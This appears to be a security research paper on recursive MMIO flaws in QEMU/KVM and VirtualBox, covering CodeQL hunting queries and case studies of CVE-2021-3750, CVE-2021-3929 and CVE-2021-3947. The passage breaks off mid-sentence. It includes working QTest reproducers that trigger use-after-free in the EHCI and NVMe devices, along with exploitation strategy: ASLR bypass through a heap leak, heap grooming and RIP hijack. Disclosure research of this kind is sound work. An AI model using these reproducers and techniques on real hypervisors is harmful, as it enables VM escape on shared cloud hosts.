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Abstract

When a hypervisor handles MMIO VM-exit to do DMA transfers, the same MMIO handler might
be called later if the destination overlaps with its MMIO region. This kind of bug can damage the
virtual device's state machine and even crash the hypervisor. However, little effort has been
spent to study whether they are critical security issues – Are they exploitable?

In this paper, we will present our security research on QEMU/KVM, a hypervisor widely used in
cloud computing, and analyze the root cause and common consequences of recursive MMIO,
thus disclosing a new attack surface. Interestingly, we found that Oracle VirtualBox is also
affected. To facilitate the hunting and exploiting process, we use CodeQL to automatically find
flaws and exploit primitives. Additionally, we will share the details of our exploit development on
a recursive MMIO vulnerability (CVE-2021-3929) and demonstrate a VM escape in the end.

Finally, we will give some thoughts about mitigations and the lessons we’ve learned.
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1 Introduction

1.1 QEMU/KVM Architecture

KVM (Kernel-based Virtual Machine) [1] is a Linux kernel module that makes Linux behave like
a Type-1 hypervisor [2]. With the virtualization supports in the x86 instruction set like Intel VT-x
[3] and AMD-V [4], it can provide CPU, memory, and device hardware virtualization for various
virtual machines.

QEMU (Quick Emulator) [5] is an emulator which can work in two modes. The most common
one, the “full system emulation” mode, is to provide virtualization of an entire machine (CPU,
memory, and IO devices) to run a guest OS. In this mode, the CPU may be fully emulated using
Dynamic Binary Translation [6], or it may work with a hypervisor such as KVM to gain better
performance. It can also work in “user mode emulation”, where only a binary execute is
compiled and run. In this paper, we only focus on the “full system emulation” mode.

Currently, many public cloud vendors use KVM and QEMU as their virtualization infrastructure.
The following figure illustrates the high-level architecture view of KVM with QEMU:

Figure 1-1 High-level Architecture of QEMU/KVM
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As shown in Figure 1-1, the virtual machine and QEMU run in separate threads. With the help of
KVM, the guest OS can execute most of its instructions directly on the host CPU. But when it
tries privileged operations like PMIO o MMIO [7], it will trap into KVM from VMX non-root Ring
0/3 to VMX root Ring 0. The KVM will decide how to handle these VM exits. Most of the time,
KVM will return to the QEMU in VMX root Ring 3 and tell it why the VM exited. QEMU will then
emulate the corresponding devices and control KVM to rerun the VM.

1.2 QEMU Memory Internals

In QEMU, memory is modeled as acyclic graphs of AddressSpace and MemoryRegion objects.
AddressSpce presents the space a CPU or a device can see (not necessarily to access). For
example, the x86 CPU has a memory space and an I/O address space. Every AddressSpace
contains a pointer to a tree constructed by MemoryRegions, which presents the RAM, MMIO
regions, and controllers in the system. The following diagram shows their relationship:

Figure 1-2 Acyclic Graph of AddressSpace and MemoryRegion
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When the guest accesses an address, QEMU will search the address from the root memory
region [8]. First, it checks if the address lies outside the region offset/size, then if the subregion
is a leaf (RAM or MMIO), the search terminates, returning this leaf region. If the subregion is a
container or an alias, the same algorithm is used within the subregion or at the alias target.

After getting the MemoryRegion leaf, if it is RAM, there will be a field called ram_block that
points to mapped host memory or a host file. QEMU will directly copy/move data between the
source and destination. As for non-direct access like PMIO and MMIO operations, each read or
write causes the .write or .read callback in the MemoryRegion object. Most callbacks will go to
the device's code to emulate relative behaviors.

1.3 MMIO Example

The .write and .read callback for MMIO MemoryRegion is defined in MemoryRegionOps object.
For instance, in hw/net/e1000e.c [9], the 82574 GbE NIC device’s MMIO callbacks are defined
as  e1000e_mmio_write() and e1000e_mmio_read():

static const MemoryRegionOps mmio_ops = {

.read = e1000e_mmio_read,

.write = e1000e_mmio_write,

.endianness = DEVICE_LITTLE_ENDIAN,

.impl = {

.min_access_size = 4,

.max_access_size = 4,

},

};

If we set a breakpoint at the write callback e1000e_mmio_write() and run the guest, the VM will
stop there later, and gdb shows the stack backtrace as:

gef➤  bt

#0  e1000e_mmio_write at ../hw/net/e1000e.c:110

#1  0x000055ed4ee53e7b in memory_region_write_accessor at ../softmmu/memory.c:492

#2  0x000055ed4ee540cf in access_with_adjusted_size at ../softmmu/memory.c:554

#3  0x000055ed4ee571c0 in memory_region_dispatch_write at ../softmmu/memory.c:1504

#4  0x000055ed4eea6f1f in flatview_write_continue at ../softmmu/physmem.c:2777

#5  0x000055ed4eea7068 in flatview_write at ../softmmu/physmem.c:2817

#6  0x000055ed4eea73e2 in address_space_write at ../softmmu/physmem.c:2909

#7  0x000055ed4eea7453 in address_space_rw at ../softmmu/physmem.c:2919

#8  0x000055ed4eeb3db6 in kvm_cpu_exec at ../accel/kvm/kvm-all.c:2893

#9  0x000055ed4eef5123 in kvm_vcpu_thread_fn at ../accel/kvm/kvm-accel-ops.c:49

#10 0x000055ed4f0c2662 in qemu_thread_start at ../util/qemu-thread-posix.c:541

#11 0x00007f4ff02bf927 in start_thread at pthread_create.c:435

#12 0x00007f4ff034f9e4 in clone at ../sysdeps/unix/sysv/linux/x86_64/clone.S:100
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As we can see, the MMIO access is trapped to KVM and returned to QEMU, and QEMU uses
the address_space_* API [10] to do the device access. After the flaw view operation which
converts the tree-like memory model to a flat memory model, the access is dispatched to the
callback.

Notably, the MMIO access is not handled in the main thread (id 1 below) but the vCPU thread
(id 4 below) which triggers the MMIO operation. We will use this information later in the exploit
development section.

[#0] Id 1, Name: "qemu-system-x86", stopped 0x7f4ff02bc140 in futex_wait (), reason:

BREAKPOINT

[#1] Id 2, Name: "qemu-system-x86", stopped 0x7f4ff030fa48 in __GI___clock_nanosleep (),

reason: BREAKPOINT

[#2] Id 3, Name: "qemu-system-x86", stopped 0x7f4ff02bbff9 in __futex_abstimed_wait_common64

(), reason: BREAKPOINT

[#3] Id 4, Name: "qemu-system-x86", stopped 0x55ed4eab60f4 in e1000e_mmio_write (), reason:

BREAKPOINT

[#4] Id 5, Name: "SPICE Worker", stopped 0x7f4ff0342cdf in __GI___poll (), reason:

BREAKPOINT

───────────────────────────────────────────────────────────────────────
gef➤  thread

[Current thread is 4 (Thread 0x7f4fe7fff640 (LWP 1697001))]

1.4 Environment

In this paper, all the studies are based on the following software versions:

OS: Ubuntu 21.10

Linux: 5.13.0

gcc: 11.2.0

glibc: 2.34

glib: 2.68.4

QEMU: 6.1.0

VirtualBox: 6.1.26

Guest OS: Ubuntu 21.04
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2 Recursive MMIO

2.1 Root Cause

In QEMU/KVM, MMIO is emulated by intercepting the memory accesses through EPT/NPT [43],
and DMA is usually implemented by memcpy(). Additionally, a virtual device can see and access
memory regions of other devices in its AddressSpace, including the system RAM, PCI device
RAM (e.g., P2PDMA [42]), and MMIO regions [11]. Since the guest OS can control the data
destination address of DMA, when it sets the DMA destination to overlap with the MMIO region
of   a device, the relative MMIO handlers will be called during the data transmission.

However, when the writes to MMIO operation forms a loop (recursive MMIO), it will cause
problems -- the MMIO handler triggered by the DMA may have side effects on the device that
launched the DMA. So when the control flow returns to the device, bad things may happen.

Figure 2-1 Device Reentry by Recursive MMIO

For example, as shown in Figure 2-1, we set device A's DMA destination address to the MMIO
address of its own reset register. When device A writes its reset register later, its internal data
structure, like the DMA data packets, will all be freed. After the reset routine returns, since the
IO operations have not been completed, the freed data structure will still be used, thus triggering
a use-after-free exception.
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It should be noted that if the DMA operations are called in an MMIO handler, the recursion will
happen in the context of the vCPU thread. If the DMA operations are called in a BH (bottom
half) or a timer, recursions will occur in the context of the main thread. We will use this
information in the exploit development section.

This phenomenon not only occurs when the device directly launches DMA to itself – as long as
it forms a recursion. For example, we can also create an indirect recursion shown in the
following figure: Device A calls the MMIO handler of device B through DMA, triggers the DMA
operation of B, and B will then trigger A's MMIO Handler through DMA.

Figure 2-2 Device Reentry by Indirect Recursive MMIO

In fact, this kind of device reentry not only can be achieved through DMA to MMIO but also
through interrupt trigger [12]: Device A’s MMIO Handler -> Device B Triggers IRQ -> Device A’s
Interrupt Handler. But because most harmful device reentry flaws are initiated by malicious
MMIO (including the BH and Timer) access and end with another MMIO access into the same
device, we only discuss the recursive MMIO flaws in this paper.
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2.2 Common Consequences

In essence, the recursive MMIO breaks the consistency of the device state machine transition.
Therefore, depending on the design and implementation of different devices, the harm caused
by reentry is also different. We give three examples here:

1. The most harmful possible vulnerability is use-after-free, and it’s usually caused by a
pattern: Write to MMIO Reset Register-> Free Device Internal Data -> Use Freed Data. If
an attacker can occupy the released data between free and use, it is possible to escape
the virtual machine.

2. In some devices, structures like data transfer size and data index are stored in the
device’s global buffer, and these data are only checked before being used. So attackers
can launch DMA to the MMIO register that can modify these data during the data
transmission process, then an out-of-bounds access situation will happen later. Attackers
may achieve information leakage or control-flow hijacking.

3. Finally, the device may launch DMA to the MMIO register that will trigger the same DMA
action, thus forming an endless recursive call. Attackers can use this flaw to crash the
hypervisor (recursive stack overflow).

But why does the real hardware device have no such problems? There are three main reasons:

1. Most hardware circuits work in parallel, so device reentry will not occur in half of the
DMA data transfer. The module that performs DMA write operations will complete all IO
operations without being interrupted. But in virtualization software such as QEMU, our
device simulation is serialized, so the DMA operation can be interrupted in the middle,
enters another device or reenters itself to execute code, and finally returns to the
interrupted place.

2. The hardware circuits don’t have memory allocators similar to the software. So even if
the hardware is affected by recursive MMIO, there won’t be severe vulnerabilities such
as use-after-free in the virtualization software. And it will be difficult to be exploited by
attackers since hardware firmware is usually hard to reverse.

3. The threat model of hardware devices is different from that of virtual devices. Suppose
an attacker can control a hardware device to generate recursive MMIO. The worst case
is that the entire machine crashes, but the privilege of controlling the hardware is high,
so this kind of attack is not scary. However, for QEMU, if the guest can control the virtual
devices to do recursive MMIO and achieve virtual machine escape, this will be a real
security issue.
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2.3 Things on VirtualBox

Can recursive MMIO happen in other hypervisors? Out of curiosity, we did some exploration on
Oracle VirtualBox 6.1.26 [13].

In VirtualBox, most write-to-physical-address primitives, like PDMDevHlpPCIPhysWrite(),
PDMDevHlpPhysWrite(), dmaR3WriteMemory(), Etc. are end to call PGMPhysWrite(). Here is a
simplified version:

VMMDECL(VBOXSTRICTRC) PGMPhysWrite(PVMCC pVM, RTGCPHYS GCPhys, const void *pvBuf, size_t

cbWrite, PGMACCESSORIGIN enmOrigin)

{

/* ...... */

PPGMRAMRANGE pRam = pgmPhysGetRangeAtOrAbove(pVM, GCPhys);

for (;;)

{

if (pRam && GCPhys >= pRam->GCPhys)

{

RTGCPTR off = GCPhys - pRam->GCPhys;

while (off < pRam->cb)

{

/*

* Normal page? Get the pointer to it.

*/

if (   !PGM_PAGE_HAS_ACTIVE_HANDLERS(pPage)

&& !PGM_PAGE_IS_SPECIAL_ALIAS_MMIO(pPage))

{

/* ...... */

}

/*

* Active WRITE or ALL access handlers.

*/

else

{

VBOXSTRICTRC rcStrict2 = pgmPhysWriteHandler(pVM, pPage, pRam->GCPhys +

off, pvBuf, cb, enmOrigin);

if (PGM_PHYS_RW_IS_SUCCESS(rcStrict2))

PGM_PHYS_RW_DO_UPDATE_STRICT_RC(rcStrict, rcStrict2);

}

/* ...... */

As we can see, PGMPhysWrite() respects access to non-RAM regions like MMIO -- it will call all
the access handlers of the destination. So VirtualBox is also vulnerable to the recursive MMIO
flaws in theory.

To verify our assumption, we compiled VirtualBox 6.1.26 with debug information and started it:
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./configure --disable-hardening  --build-debug

source ./env.sh

kmk BUILD_TYPE=debug

cd out/linux.amd64/debug/bin/src/

make

sudo make install

sudo rmmod vboxnetflt ; sudo rmmod vboxnetadp ; sudo rmmod vboxdrv

sudo insmod vboxdrv.ko; sudo insmod vboxnetadp.ko; sudo insmod vboxnetflt.ko

sudo chmod 666 /dev/vboxdrv && sudo chmod 666 /dev/vboxdrvu && sudo chmod 666

/dev/vboxnetctl

cd ..  && ./VirtualBox

Then we attached gdb to the VirtualBoxVM process and tried to trigger a recursive MMIO in the
pcnet device. First, we set a breakpoint at DevPCNet.cpp:755 (the routine writes to the guest):

static void pcnetPhysWrite(PPDMDEVINS pDevIns, PPCNETSTATE pThis, RTGCPHYS GCPhys, const

void *pvBuf, size_t cbWrite)

{

if (!PCNET_IS_ISA(pThis))

PDMDevHlpPCIPhysWrite(pDevIns, GCPhys, pvBuf, cbWrite);

else

PDMDevHlpPhysWrite(pDevIns, GCPhys, pvBuf, cbWrite);

}

When the process stopped at pcnetPhysWrite(), we changed the GCPhys (physical address,
controlled by the guest) to 0xf02000cc (in MMIO region of the pcnet device, size = 4k, offset =
0xcc). Then we set another breakpoint at DevPCNet.cpp:3952 (the MMIO handler of the pcnet
device) and unset the previous breakpoint in pcnetPhysWrite(). Finally, we execute the continue
command in gdb:

Thread 34 "NATRX" hit Breakpoint 1, pcnetPhysWrite (pDevIns=0x7fe7a8008000,

pThis=0x7fe7a80082c0, GCPhys=3693277184, pvBuf=0x7fe7a80095f8, cbWrite=64) at

/home/qiuhao/hack/VirtualBox-6.1.26/src/VBox/Devices/Network/DevPCNet.cpp:755

755 if (!PCNET_IS_ISA(pThis))

(gdb) list

750 * @param   pvBuf       Host side buffer address

751 * @param   cbWrite     Number of bytes to write

752 */

753 static void pcnetPhysWrite(PPDMDEVINS pDevIns, PPCNETSTATE pThis, RTGCPHYS GCPhys,

const void *pvBuf, size_t cbWrite)

754 {

755 if (!PCNET_IS_ISA(pThis))

756 PDMDevHlpPCIPhysWrite(pDevIns, GCPhys, pvBuf, cbWrite);

757 else

758 PDMDevHlpPhysWrite(pDevIns, GCPhys, pvBuf, cbWrite);

759 }

(gdb) set GCPhys=0xf02000cc

(gdb) disable breakpoints
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(gdb) b DevPCNet.cpp:3952

Breakpoint 2 at 0x7fe77cbcd45e: file

/home/qiuhao/hack/VirtualBox-6.1.26/src/VBox/Devices/Network/DevPCNet.cpp, line 3952.

(gdb) info b

Num     Type           Disp Enb Address            What

1       breakpoint     keep n   0x00007fe77cbc1c59 in pcnetPhysWrite(PPDMDEVINS,

PPCNETSTATE, RTGCPHYS, void const*, size_t)

at

/home/qiuhao/hack/VirtualBox-6.1.26/src/VBox/Devices/Network/DevPCNet.cpp:755

breakpoint already hit 1 time

2       breakpoint     keep y   0x00007fe77cbcd45e in pcnetR3MmioWrite(PPDMDEVINS, void*,

RTGCPHYS, void const*, unsigned int)

at

/home/qiuhao/hack/VirtualBox-6.1.26/src/VBox/Devices/Network/DevPCNet.cpp:3952

(gdb) c

Continuing.

Immedietly the process stoped at pcnetR3MmioWrite() and the off variable is 0xcc:

Thread 16 "EMT-0" hit Breakpoint 2, pcnetR3MmioWrite (pDevIns=0x7fe7a8008000, pvUser=0x0,

off=204, pv=0x7fe7a80095f8, cb=64) at

/home/qiuhao/hack/VirtualBox-6.1.26/src/VBox/Devices/Network/DevPCNet.cpp:3952

3952 PPCNETSTATE     pThis   = PDMDEVINS_2_DATA(pDevIns, PPCNETSTATE);

(gdb) list

3947 /**

3948 * @callback_method_impl{FNIOMMMIONEWWRITE}

3949 */

3950 static DECLCALLBACK(VBOXSTRICTRC) pcnetR3MmioWrite(PPDMDEVINS pDevIns, void *pvUser,

RTGCPHYS off, void const *pv, unsigned cb)

3951 {

3952 PPCNETSTATE     pThis   = PDMDEVINS_2_DATA(pDevIns, PPCNETSTATE);

3953 PPCNETSTATECC   pThisCC = PDMDEVINS_2_DATA_CC(pDevIns, PPCNETSTATECC);

3954 VBOXSTRICTRC    rc      = VINF_SUCCESS;

3955 Assert(PDMDevHlpCritSectIsOwner(pDevIns, &pThis->CritSect));

3956 RT_NOREF_PV(pvUser);

(gdb) p/x off

$1 = 0xcc

Since there is no register with offset 0xcc in the pcnet device [15], we can be sure this MMIO
write operation is triggered by the previous pcnetPhysWrite() instead of the driver in the guest
OS -- A recursive MMIO write!

Although this is only an artificial verification, we believe that similar results can be achieved
inside the guest OS. Because the focus of this paper is on QEMU/KVM, we leave it as future
work to research VirtualBox and other hypervisors.
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3 Hunting with CodeQL

3.1 Recursive Paths

In section 2.1, we said there are two common paths to trigger the recursive MMIO:

1. MMIO handler (vCPU thread)→Write-to-Phys-Address API (DMA)→MMIO handler.

2. BH/Timer callback (main thread)→Write-to-Phys-Address API (DMA)→MMIO handler.

To automatically find those paths in virtual devices using CodeQL, we first need to describe the
characteristics of the MMIO handlers and BH/Timer callbacks. As for the MMIO access
handlers, it’s defined in MemoryRegionOps:

struct MemoryRegionOps {

/* Read from the memory region. @addr is relative to @mr; @size is

* in bytes. */

uint64_t (*read)(void *opaque,

hwaddr addr,

unsigned size);

/* Write to the memory region. @addr is relative to @mr; @size is

* in bytes. */

void (*write)(void *opaque,

hwaddr addr,

uint64_t data,

unsigned size);

/* ...... */

So we can search each device’s MemoryRegionOps object (global static variable) and get the
MMIO handlers. Here we omit the MMIO read handlers since most of them cannot trigger a
write to a physical address:

class MMIOFn extends Function {

MMIOFn() {

exists(GlobalVariable gv |

gv.getFile().getAbsolutePath().regexpMatch(".*qemu-6.1.0/hw/.*") and

gv.getType().getName().regexpMatch(".*MemoryRegionOps.*") and

gv.getName().regexpMatch(".*mmio.*") and

gv.getInitializer().getExpr().getChild(1).toString() = this.toString()

)

}

}
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For BHs and timers, they are created by calling qemu_bh_new_full() and timer_new_ns(). The
callbacks are passed as the first and the second parameters. So we can search these two
functions in each device to get the BHs and timers’ callback:

class BHTFn extends Function {

BHTFn() {

exists(FunctionCall fc |

fc.getTarget().getName().regexpMatch("qemu_bh_new_full|timer_new_ns") and

fc.getFile().getAbsolutePath().regexpMatch(".*qemu-6.1.0/hw/.*") and

(fc.getChild(0).toString() = this.toString() or fc.getChild(1).toString() =

this.toString())

)

}}

The last functions we need to know are the write-to-physical-address APIs (DMA). In QEMU’s
doc [10], we can find a lot of alternative functions, like dma_memory_write(), pci_dma_write(),
dma_buf_read(), Etc. Actually, they all call to address_space_write() in the end:

Figure 3-1 address_space_write() Called-by Graph

To improve the performance when searching, we hard code those APIs in CodeQL queries:

class ReentryFn extends Function {

ReentryFn() {

this.getName()

.regexpMatch("address_space_write|address_space_unmap|dma_memory_set|cpu_physical_memory_unm

ap|dma_memory_unmap|dma_memory_write_relaxed|pci_dma_unmap|dma_blk_cb|dma_blk_unmap|dma_memo

ry_write|stb_dma|stl_be_dma|stl_le_dma|stq_be_dma|stq_le_dma|stw_be_dma|stw_le_dma|pci_dma_w

rite|dma_buf_read|dma_blk_write|stb_pci_dma|stl_be_pci_dma|stl_le_pci_dma|stq_be_pci_dma|stq

_le_pci_dma|stw_be_pci_dma|stw_le_pci_dma")

}

}

Then we use the PathGraph module in CodeQL [16] to find all the possible recursive paths. We
need to define our own edges query-predicate, which is the call relationship, and the nodes,
which is arbitrary functions:

query predicate edges(Function a, Function b) { a.calls(b) }

Finally, we can leverage the transitive closures in CodeQL [17] to do searches:
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/**

* @kind path-problem

*/

/* MMIOFn -> ReentryFn */

from MMIOFn entry_fn, ReentryFn end_fn

where edges+(entry_fn, end_fn)

select end_fn, entry_fn, end_fn, "MMIO -> Reentry: from " + entry_fn.getName() + " to " +

end_fn.getName()

/* BHTFn -> ReentryFn */

from BHTFn entry_fn, ReentryFn end_fn

where edges+(entry_fn, end_fn)

select end_fn, entry_fn, end_fn, "BH/Timer -> Reentry: from " + entry_fn.getName() + " to "

+ end_fn.getName()

After running these two queries, we can get some valuable results. For example, there is a path
from MMIO handler to pci_dma_write() in the MegaRAID SAS 8708EM2 device:

Figure 3-2 MMIO to pci_dma_write() in MegaRAID SAS 8708EM2

And there is a path from the timer’s callback to dma_buf_read() in the NVMe controller:

Figure 3-3 Timer to dma_buf_read() in NVMe Controller
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3.2 UAF Primitives

In section 2.2, we said there are three common consequences caused by recursive MMIO flaws:
use-after-free, OOB access, and stack overflow (DoS). Since UAF is usually easier to exploit,
we only focus on this kind of vulnerability here.

To find all the possible UAF flaws, we need to know the possible paths from an MMIO write
handler to a free function call. Similar to section 3.1, we can use CodeQL to do this quickly.

It’s worth noting that QEMU uses the glib’s g_free() [18] to release data structure, but usually
there is no source code for the glib library, so vscode [19] cannot display the path in the alert
when parsing the request result. We can solve this problem by moving the sink node one step
backward: the last node is described by FunctionCall instead of Function. Also, we should filter
out the free functions in error handlers, test routines, TCG, and other unrelative modules of
QEMU.

class FreeFn extends Function {

FreeFn() {

exists(FunctionCall fc |

fc.getTarget().getName().matches("g_free") and

fc.getEnclosingFunction() = this and

not this.getName().regexpMatch(".*shutdown.*") and

not this.getFile()

.getRelativePath()

.regexpMatch(".*error.*|.*test.*|.*replay.*|.*translate-all.*|.*xen.*|.*qapi-visit.*")

)

}

}

from MMIOFn entry_fn, FreeFn end_fn

where edges+(entry_fn, end_fn)

select end_fn, entry_fn, end_fn, "MMIO -> Free: from " + entry_fn.getName() + " to " +

end_fn.getName()

For example, we can find a path from an MMIO write handler to a free function in the EHCI
controller:

Figure 3-4 MMIO to Free in EHCI Controller

15



Now we know three types of paths:

1. MMIO handler→Write-to-Phys-Address API (DMA)→MMIO write handler.

2. BH/Timer callback→Write-to-Phys-Address API (DMA)→MMIO write handler.

3. MMIO write handler→reset/free gadget.

To find devices that may have UAF flaws caused by direct recursive MMIO, we can calculate the
intersections of these paths manually. For example, if there are type-1 and type-3 paths in
device A, then A may have UAF flaws.

Figure 3-5 Devices Vulnerable to Recursive MMIO UAF

In section 4, we will descript some vulnerabilities we found.

3.3 Malloc Primitives

To exploit the UAF vulnerabilities, we have to find the malloc primitives which can occupy the
freed chunk before it is used. There are two possible methods:

1. First, after the control flow returns from the MMIO reset handler, a malloc that allocates
chunks the same size as the freed chunk will be called. However, after some reviews, we
think it’s hard to find such primitives in vulnerable devices.

2. Second, instead of calling malloc in the same device, we can write to another device’s
MMIO region in which a chunk will be allocated, then we return to the vulnerable device
to use the freed but occupied chunk. Since scatter-gather DMA [20] is common, it’s easy
to find vulnerable devices that perform multiple DMA write operations. So we choose this
method.
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Our goal is to find a malloc that can be triggered by an MMIO write, and the guest can control
the content of the allocated chunk. It is best that the size of this chunk can also be controlled.
Based on past experience, we can guess that this primitive has the following characteristics:

1. There should be a free() before the allocate call, or the guest can keep allocating chunks
and crash the hypervisor.

2. Two data structures are usually used for data transfer between guest and host: linked list
and array list. To get size-controlled chunks, we focus on arrays that are composed of
multiple smaller units (predefined structures, constant size).

3. There should be a read-from-guest action after the malloc call, so we can control the
content of the allocated chunk.

4. The parameter of free(), read_from_guest(), and the return value of malloc() should be
the same pointer.

In short, the pattern is:

g_free(buf) -> buf = g_malloc(constant * nonconstant) -> read_from_guest(buf)

In practice, we only use the first two characteristics, the malloc and free calls are defined as:

class MallocFc extends FunctionCall {

MallocFc() {

exists(MulExpr me |

this.getTarget().getName().matches("g_malloc") and

this.getFile().getAbsolutePath().regexpMatch(".*/hw/.*") and

this.getArgument(0) = me and

not me.isConstant() and

(me.getChild(0).isConstant() or me.getChild(1).isConstant()))}}

class FreeFc extends FunctionCall {

FreeFc() {

this.getTarget().getName().matches("g_free") and

this.getFile().getAbsolutePath().regexpMatch(".*/hw/.*")}}

Since the malloc and free calls are likely in the same context/routine, we can’t define the nodes
as Function or BasicBlock. Instead, we define them as ControlFlowNode:

query predicate edges(ControlFlowNode a, ControlFlowNode b) { b = a.getASuccessor() }

from MallocFc mallocfc, FreeFc freefc

where

mallocfc.getEnclosingFunction() = freefc.getEnclosingFunction() and

edges+(freefc.getASuccessor(), mallocfc.getASuccessor())

select mallocfc, freefc, mallocfc, mallocfc.getFile().getRelativePath()
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Then we can find multiple free-malloc pairs, here we discuss a primitive in intel-hda.c:

Figure 3-6 Malloc Primitive in Intel HDA Device

static void intel_hda_parse_bdl(IntelHDAState *d, IntelHDAStream *st)

{

hwaddr addr;

uint8_t buf[16];

uint32_t i;

addr = intel_hda_addr(st->bdlp_lbase, st->bdlp_ubase);

st->bentries = st->lvi +1;

g_free(st->bpl);

st->bpl = g_malloc(sizeof(bpl) * st->bentries);

for (i = 0; i < st->bentries; i++, addr += 16) {

pci_dma_read(&d->pci, addr, buf, 16);

st->bpl[i].addr  = le64_to_cpu(*(uint64_t *)buf);

st->bpl[i].len   = le32_to_cpu(*(uint32_t *)(buf + 8));

st->bpl[i].flags = le32_to_cpu(*(uint32_t *)(buf + 12));

}

/* ...... */

As shown above, the free-malloc pair is in the routine that gets the buffer descriptor list (BDL)
from the guest. The guest can write arbitrary content to the list and trigger this routine by setting
the RUN bit in HDA’s stream control registers through an MMIO write.

Moreover, the st->lvi (Last Valid Index) is also controlled by the guest, so by calling this routine,
the guest can allocate any chuck size 16n bytes.

Last but not least, there are eight streams/registers in the HDA device, which means the guest
can call several free and allocate primitives in one scatter-gather DMA to MMIO session. So this
is also a perfect primitive to construct the heap Fengshui [21].

Please refer to Intel’s doc for more information about the HDA’s register interface [22].
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4 Case Study

4.1 CVE-2021-3750

When the EHCI controller transfers USB packets, it doesn't check if the Buffer Pointer is in its
MMIO region. So crafted content may be written to the controller's registers and trigger actions
like reset, but the device is still transferring packets, resulting in bad situations.

Take the reproducer below as an example, we make the first two Buffer Pointers in qTD all point
to the MMIO region, so when we call usb_packet_map() in ehci_execute(), the second map will
fail because bounce in address_space_map() is busy. EHCI will try to unmap the first mapped
buffer, which writes bounce.buffer to the MMIO region. The buffer is uninitialized, but ASAN will
fill it with 0xbebebebe, thus triggering Host Controller Reset (HCRESET) and freeing the qh and
qtd structs in use, raising UAF exceptions.

To exploit the flaw, the attacker can first make the VM allocate an uninitialized bounce.buffer
(4k), and set the pid to USB_TOKEN_IN, thus making the uninitialized chunk written back to the
guest when usb_packet_unmap() is called later. Since there are data/function pointers on the
heap, the attacker can bypass the ASLR. Additionally, if the attacker managed to allocate
chunks after the queues were freed and before used, OOB access or RIP hijack may happen.

We wrote a PoC with comments based on the QTest. You can view a detailed output at
qiuhao.org. For more information about EHCI/USB, please refer to the specification [23].

$ cat << EOF | ./build/qemu-system-x86_64 -nodefaults -machine type=q35,accel=qtest

-nographic -device ich9-usb-ehci1,id=ich9-ehci-1 -drive if=none,id=usbcdrom,media=cdrom

-device usb-storage,bus=ich9-ehci-1.0,drive=usbcdrom -qtest stdio \

outl 0xcf8 0x80000810            /* Memory Base Address Register */

outl 0xcfc 0xe0000000            /* Set MMIO Address to 0xe0000000 */

outl 0xcf8 0x80000804            /* PCICMD--PCI Command Register */

outw 0xcfc 0x02                  /* Enables accesses to the USB 2.0 registers. */

write 0xe0000038 0x4 0x00100000  /* Set Current Async List Address Register to 0x1000 */

write 0x00001000 0x4 0x00000000  /* Write Queue Head to 0x1000 */

write 0x00001004 0x4 0x00800000  /* Set Head of Reclamation List Flag */

write 0x00001010 0x4 0x00200000  /* Set Next qTD pointer to 0x2000 */

write 0x00002000 0x4 0x00000000  /* write qTD to 0x2000 */

write 0x00002008 0x4 0x80010020  /* Active, IN Token, Transfer 2K bytes */

write 0x0000200c 0x4 0x000000e0  /* Set Buffer Pointer (Page 0) to MMIO region 0xe0000000*/

write 0x00002010 0x4 0x000000e0  /* Also point to 0xe0000000, map fail and unmap */

write 0xe0000064 0x4 0x00010000  /* Start usb reset sequence */

write 0xe0000064 0x4 0x00000000  /* Terminate the reset sequence */

write 0xe0000020 0x4 0x21000000  /* Asynchronous Schedule Enable, Bit 0: Run */

EOF
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4.2 CVE-2021-3929

In hw/nvme/ctrl.c:nvme_tx(), dma_buf_write() and dma_buf_read() can be called without check
if the destination region is overlapped with device's MMIO field -- the recursive MMIO, again. In
the reproducer below, the call path is: nvme_process_sq -> nvme_admin_cmd -> nvme_get_log
-> nvme_fw_log_info -> nvme_c2h -> nvme_tx.

This vulnerability is easier to exploit compared with CVE-2021-3750. In nvme_process_sq(),
after the request which trigger the nvme_ctrl_reset() finished, nvme_enqueue_req_completion()
will be called, in which cq's timer is set to fire 500ns later. However, the timer is freed in the
reset routine. Since there is a callback in QEMU’s timer, the guest can hijack RIP directly if he
can occupy the freed timer.

static void nvme_enqueue_req_completion(NvmeCQueue *cq, NvmeRequest *req)

{

/* ...... */

timer_mod(cq->timer, qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL) + 500);

}

static void nvme_ctrl_reset(NvmeCtrl *n)

{

/* ...... */

for (i = 0; i < n->params.max_ioqpairs + 1; i++) {

if (n->cq[i] != NULL) {

nvme_free_cq(n->cq[i], n); // cq->timer is freed

/* ...... */

}

We wrote a PoC with comments based on QTest. More details will be discussed in section 5.

cat << EOF | ./build/qemu-system-x86_64 -display none -machine accel=qtest -machine q35

-nodefaults -drive file=null-co://,if=none,format=raw,id=disk0 -device

nvme,drive=disk0,serial=1 -qtest stdio \

outl 0xcf8 0x80000810               /* MLBAR (BAR0) - Memory Register Base Address */

outl 0xcfc 0xe0000000               /* MMIO Base Address = 0xe0000000 */

outl 0xcf8 0x80000804               /* CMD - Command */

outw 0xcfc 0x06                     /* Bus Master Enable, Memory Space Enable */

write 0xe0000024 0x4 0x02000200     /* Admin Queue Attributes */

write 0xe0000014 0x4 0x01004600     /* Controller Configuration */

write 0xe0001000 0x1 0x01           /* SQyTDBL - Submission Queue y Tail Doorbell */

write 0x00 0x1 0x02                 /* cmd->opcode, nvme_get_log() */

write 0x18 0x4 0x140000e0           /* prp1 = 0xe0000014, NVME_REG_CC, nvme_ctrl_reset() */

write 0x28 0x4 0x03000004           /* cmd->cdw10, lid = 3 nvme_fw_log_info(), len = 4 */

write 0x30 0x4 0xfc010000           /* cmd->cdw12, Log Page Offset */

clock_step

EOF
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4.3 CVE-2021-3947

We found this vulnerability when reviewing CVE-2021-3929. It’s not a recursive MMIO flaw but
can be helpful when we exploit CVE-2021-3929 later. nvme_changed_nslist() is a function in
hw/nvme/ctrl.c which transfers log to the guest:

static uint16_t nvme_changed_nslist(NvmeCtrl *n, uint8_t rae, uint32_t buf_len,

uint64_t off, NvmeRequest *req)

{

uint32_t nslist[1024];

uint32_t trans_len;

int i = 0;

uint32_t nsid;

memset(nslist, 0x0, sizeof(nslist));

// sizeof(nslist) = 4096, integer underflow!

trans_len = MIN(sizeof(nslist) - off, buf_len);

/* ...... */

// transmit data to the guest, stack overflow!

return nvme_c2h(n, ((uint8_t *)nslist) + off, trans_len, req);

}

The guest totally controls the variable off, so if it is greater than 4096, an integer underflow will
happen, and trans_len will be set to buf_len, which is also partially controlled by the guest, thus
leading to stack overflow. Even worse, since off can be set to any number greater than or equal
to 4098, the ptr parameter of nvme_c2h() can be set to an arbitrary address, resulting in
